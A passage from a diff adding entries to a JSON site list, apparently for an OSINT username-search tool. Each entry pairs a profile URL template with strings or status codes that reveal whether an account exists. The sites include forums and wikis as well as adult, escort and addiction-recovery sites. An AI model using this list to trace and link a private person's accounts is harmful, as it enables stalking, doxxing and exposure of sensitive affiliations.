+ "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Stop-narko_info", + "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "stop-nazi.at.ua", + "url": "http://stop-nazi.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stopgame", + "url": "https://stopgame.ru/user/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "stopgame.ru", + "url": "https://stopgame.ru/users/profile/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Store_kde", + "url": "https://store.kde.org/u/{}", + "category": "shopping", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Strava | ", + "match_string": "Strava" + }, + { + "name": "Strava", + "url": "https://strava.com/athletes/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "media-body main" + }, + { + "name": "StreamElements", + "url": "https://api.streamelements.com/kappa/v2/channels/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "error", + "match_code": 200, + "match_string": "\"providerId\"" + }, + { + "name": "StreamLabs", + "url": "https://streamlabs.com/api/v6/user/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 401, + "error_string": "Unauthorized", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Stripchat", + "url": "https://stripchat.com/api/front/users/checkUsername?username={}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "message", + "error_code": 200, + "error_string": "[]", + "match_code": 400, + "match_string": "\"error\":\"This username already exists\"" + }, + { + "name": "Stripchat", + "url": "https://stripchat.com/{}", + "category": "adult", + "source": "reveal_my_name", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oops. The page you were looking for doesn't exist", + "match_code": 200, + "match_string": "I Do in My Shows:" + }, + { + "name": "stripchat.global", + "url": "https://stripchat.global/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "
404
", + "match_string": "profile email" + }, + { + "name": "stroy-s-nami.ucoz.com", + "url": "http://stroy-s-nami.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "stroyneemvmeste.ucoz.ru", + "url": "http://stroyneemvmeste.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "student-telecom.ru", + "url": "http://student-telecom.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "studentur.com.ua", + "url": "http://studentur.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Studfile", + "url": "https://studfile.net/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Studwork", + "url": "https://studwork.org/info/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "herdun", + "match_string": "\u0418\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "studygolang", + "url": "https://studygolang.com/user/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Stunited", + "url": "http://stunited.org/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "subaruforester.org", + "url": "https://subaruforester.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "subaruoutback.org", + "url": "https://subaruoutback.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Subeta", + "url": "https://subeta.net/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Invalid user" + }, + { + "name": "Subforums", + "url": "https://subforums.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "subforums.net", + "url": "https://subforums.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Subscribestar", + "url": "https://subscribestar.adult/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "WE ARE SORRY, THE PAGE YOU REQUESTED CANNOT BE FOUND", + "match_code": 200, + "match_string": "CREATOR STATS" + }, + { + "name": "Substack", + "url": "https://substack.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Found. Redirecting to", + "match_string": "profile\\" + }, + { + "name": "Substack", + "url": "https://{}.substack.com/", + "category": "news", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Suedtirolnews", + "url": "https://suedtirolnews.it/user/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-body" + }, + { + "name": "sufficit.ucoz.ru", + "url": "http://sufficit.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sugoidesu", + "url": "https://sugoidesu.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sugoidesu", + "url": "https://sugoidesu.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Suicidegirls", + "url": "https://www.suicidegirls.com/members/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sukebei.nyaa.si", + "url": "https://sukebei.nyaa.si/user/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 Not Found", + "match_code": 200, + "match_string": "'s torrents" + }, + { + "name": "Suomi24", + "url": "https://www.suomi24.fi/profiili/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "super-warez-por.at.ua", + "url": "http://super-warez-por.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Supernaturalwiki", + "url": "https://supernaturalwiki.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Superuser", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched your search." + }, + { + "name": "Support_mozilla", + "url": "https://support.mozilla.org/en-US/user/{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found | Mozilla" + }, + { + "name": "survivalistboards.com", + "url": "https://survivalistboards.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Survivefrance", + "url": "https://survivefrance.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Suunto_Movescount_CLOSEDEAD", + "url": "http://www.movescount.com/ru/members/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "error=4&" + }, + { + "name": "Suzuki-club", + "url": "https://suzuki-club.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Suzuri.jp", + "url": "https://suzuri.jp/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>404 | SUZURI", + "match_string": "\u221e SUZURI\uff08\u30b9\u30ba\u30ea\uff09" + }, + { + "name": "svadba-orel.com", + "url": "http://svadba-orel.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "svidbook", + "url": "https://www.svidbook.ru/user/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Svidbook", + "url": "https://www.svidbook.ru/user/{}/", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Svidbook", + "url": "https://svidbook.ru/user/{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user_profile" + }, + { + "name": "svoimirykami.ucoz.ru", + "url": "http://svoimirykami.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "svtperformance.com", + "url": "https://svtperformance.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Swame", + "url": "https://swame.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile" + }, + { + "name": "Swapd", + "url": "https://swapd.co/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Swapfinder", + "url": "https://swapfinder.com/profile/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Swapfinder.com", + "match_string": "Profile on Swapfinder.com" + }, + { + "name": "swedroid.se", + "url": "http://swedroid.se/forum/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sweet Passion Escort", + "url": "https://www.sweet-passion-escort.de/en/models/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Could not find what you were looking for?", + "match_string": "book" + }, + { + "name": "Sweethome3d", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": " Error" + }, + { + "name": "SwimmingForum", + "url": "http://forumswimming.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Syberpussy", + "url": "https://syberpussy.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "syberpussy.com", + "url": "https://syberpussy.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Syktforum", + "url": "http://syktforum.ru/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0422\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + }, + { + "name": "SyktyvkarOnline", + "url": "http://syktyvkar-online.ru/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "symbian9.clan.su", + "url": "http://symbian9.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sysadmins", + "url": "https://sysadmins.ru/member{}.html", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Could not obtain user posts information" + }, + { + "name": "Sysprogs", + "url": "https://sysprogs.com/w/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sythe", + "url": "https://www.sythe.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sythe", + "url": "https://www.sythe.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Szerokikadr.pl", + "url": "https://www.szerokikadr.pl/profil,{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nie masz jeszcze konta?", + "match_string": "Profil u\u017cytkownika" + }, + { + "name": "Szmer.info", + "url": "https://szmer.info/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Code: Couldn't find that username or email.", + "match_string": "Joined" + }, + { + "name": "T-MobileSupport", + "url": "https://support.t-mobile.com/people/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "t00ls", + "url": "https://www.t00ls.com/ajax.php?infloat=register&handlekey=register&action=checkusername&username={}&inajax=1&ajaxtarget=returnmessage4", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "tabletoptournament", + "url": "https://www.tabletoptournaments.net/eu/player/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "No player with the nickname", + "match_code": 200, + "match_string": "- Player Profile | T\u00b3 - TableTop Tournaments" + }, + { + "name": "Tabun", + "url": "https://tabun.everypony.ru/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tachograph.ucoz.ru", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tagged", + "url": "https://secure.tagged.com/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "Tagged - The social network for meeting new people", + "match_code": 200, + "match_string": "s Profile" + }, + { + "name": "Tagged", + "url": "https://www.tagged.com/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Tagged makes it easy", + "match_string": "https://tagged.com/{username}" + }, + { + "name": "takr-kiev.ucoz.com", + "url": "http://takr-kiev.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "talimger.org", + "url": "http://talimger.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Talk", + "url": "https://talk.commonmark.org/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Talk", + "url": "https://talk.jekyllrb.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Talk", + "url": "https://talk.manvfat.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Talk", + "url": "https://talk.sleepapnea.org/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "talk.macpowerusers.com", + "url": "https://talk.macpowerusers.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TalkDrugabuse", + "url": "https://talk.drugabuse.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Talkingsober", + "url": "https://talkingsober.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Talks.by", + "url": "https://talks.by/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Talkstats", + "url": "https://www.talkstats.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Tamboff", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435" + }, + { + "name": "TamTam", + "url": "https://tamtam.chat/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Pv3WuoqzAb05NxqHCgZ29Z2jmQ", + "match_string": "data-tsid=\"avatar\"" + }, + { + "name": "Tanks", + "url": "https://tanks.mail.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tanuki.pl", + "url": "https://tanuki.pl/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nie ma takiego u\u017cytkownika", + "match_string": "Do\u0142\u0105czy\u0142" + }, + { + "name": "TAP'D", + "url": "https://tapd.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist", + "match_string": "\"_id\":" + }, + { + "name": "TAPiTAG", + "url": "https://account.tapitag.co/tapitag/api/v1/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "The rf number is not valid", + "match_code": 200, + "match_string": "User details are Showing" + }, + { + "name": "Taplink", + "url": "https://taplink.cc/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tappy", + "url": "https://api.tappy.tech/api/profile/username/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Profile of username Not Found", + "match_code": 200, + "match_string": "user_id" + }, + { + "name": "Taringa", + "url": "https://www.taringa.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "problema", + "match_string": "User" + }, + { + "name": "Taringa", + "url": "https://taringa.net/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-country" + }, + { + "name": "Taringa Archived Profile", + "url": "https://archive.org/wayback/available?url=https://www.taringa.net/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"archived_snapshots\": {}", + "match_code": 200, + "match_string": "\"archived_snapshots\": {\"closest\"" + }, + { + "name": "tarjaturunen.ucoz.ru", + "url": "http://tarjaturunen.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Taskrabbit", + "url": "https://www.taskrabbit.com/profile/{}/about", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "TaskRabbit: Same Day Handyman, Moving & Delivery Services", + "match_string": "\u2019s Profile" + }, + { + "name": "Tasty Slips (underwear sales)", + "url": "https://tastyslips.com/en/vendors/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "The website was not found. Feel free to check out tastyslips.com", + "match_string": ">About me" + }, + { + "name": "tatyana-art.ucoz.com", + "url": "http://tatyana-art.ucoz.com/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tavr-obrazovanie.ru", + "url": "http://tavr-obrazovanie.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "taxi-belgorod.ucoz.ru", + "url": "http://taxi-belgorod.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tcrf", + "url": "https://tcrf.net/The_Cutting_Room_Floor/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Tddft", + "url": "https://tddft.org/programs/octopus/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "tdo888.at.ua", + "url": "http://tdo888.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teakdoor", + "url": "https://teakdoor.com/members/{}.html", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "team-pros.3dn.ru", + "url": "http://team-pros.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teampedia", + "url": "https://teampedia.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Teamtreehouse", + "url": "https://teamtreehouse.com/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oops, Something went missing", + "match_code": 200, + "match_string": "Member Since" + }, + { + "name": "teamtreehouse.com", + "url": "https://teamtreehouse.com/profiles/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Bummer! You must be logged in to access this page.", + "match_string": "Member Since" + }, + { + "name": "techcrunch", + "url": "https://techcrunch.com/author/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Techdirt", + "url": "https://www.techdirt.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Techdirt", + "url": "https://www.techdirt.com/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": " | Techdirt" + }, + { + "name": "Techotopia", + "url": "https://techotopia.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "TechPowerUp", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Techrepublic", + "url": "https://www.techrepublic.com/members/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "techspot.com", + "url": "http://www.techspot.com/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teddygirls", + "url": "https://teddysgirls.net/models/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you were looking for doesn't exist", + "match_code": 200, + "match_string": ";s exclusive page to subscribe to her" + }, + { + "name": "TEENUS", + "url": "http://www.teenus.info/kasutaja/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Viimati lisatud", + "match_string": "user-profile" + }, + { + "name": "Teespring", + "url": "https://commerce.teespring.com/v1/stores?slug={}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "{\"errors\":{\"store\":[\"not found\"]}}", + "match_code": 200, + "match_string": "sellerToken" + }, + { + "name": "teflpedia.com", + "url": "https://teflpedia.com/User:{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tek-tips", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teknik", + "url": "https://user.teknik.io/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The user does not exist", + "match_string": "Public Key" + }, + { + "name": "Telaviv-Escort (Telaviv)", + "url": "https://telaviv-escort.com/model/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "Ethnicity:" + }, + { + "name": "Telegram", + "url": "https://t.me/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "Telepropusk", + "url": "https://telepropusk.ru/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "telescope.ac", + "url": "https://telescope.ac/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">Not found", + "match_string": "og:site_name" + }, + { + "name": "Teletype", + "url": "https://teletype.in/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Television_linternaute", + "url": "https://television.linternaute.com/profile/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tellonym", + "url": "https://api.tellonym.me/profiles/name/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"code\":\"NOT_FOUND\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Tellonym.me", + "url": "https://tellonym.me/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TemplateMonster", + "url": "https://www.templatemonster.com/authors/{}/", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "ErrorPage__title", + "match_string": "profile" + }, + { + "name": "Tenchat", + "url": "https://tenchat.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tenor.com", + "url": "https://tenor.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 Error", + "match_string": "s GIFs on Tenor" + }, + { + "name": "Teplak", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "teplohorosho.ru", + "url": "http://teplohorosho.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Terminator", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Terminatorium", + "url": "https://terminatorium.borda.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Termoshop", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "terralight.ucoz.ru", + "url": "http://terralight.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Terraria Forums", + "url": "https://forums.terraria.org/index.php?search/42798315/&c[users]={}&o=relevance", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "The following members could not be found" + }, + { + "name": "Test_pypi", + "url": "https://test.pypi.org/user/{}/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "page\":0,\"totalMatches\":0" + }, + { + "name": "testwiki.wiki", + "url": "https://testwiki.wiki/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tetongravity", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Please wait" + }, + { + "name": "Tetr.io", + "url": "https://ch.tetr.io/api/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No such user!", + "match_string": "success\":true" + }, + { + "name": "TETR.IO", + "url": "https://ch.tetr.io/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "No such user!" + }, + { + "name": "Texasguntalk", + "url": "https://www.texasguntalk.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Texasguntalk", + "url": "https://www.texasguntalk.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Tf2Items", + "url": "http://www.tf2items.com/id/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "TF2 Backpack Examiner", + "match_string": "TF2 Backpack -" + }, + { + "name": "Tfl.net.pl", + "url": "https://tfl.net.pl/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking for isn't here.", + "match_string": "@tfl.net.pl" + }, + { + "name": "tfw2005.com", + "url": "http://www.tfw2005.com/boards//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tfwiki", + "url": "https://tfwiki.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "tg.rip", + "url": "https://tg.rip/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "btn_label", + "match_string": "<title>\u0422\u0435\u043b\u0435\u0433\u0440\u0430\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + }, + { + "name": "tgi.3dn.ru", + "url": 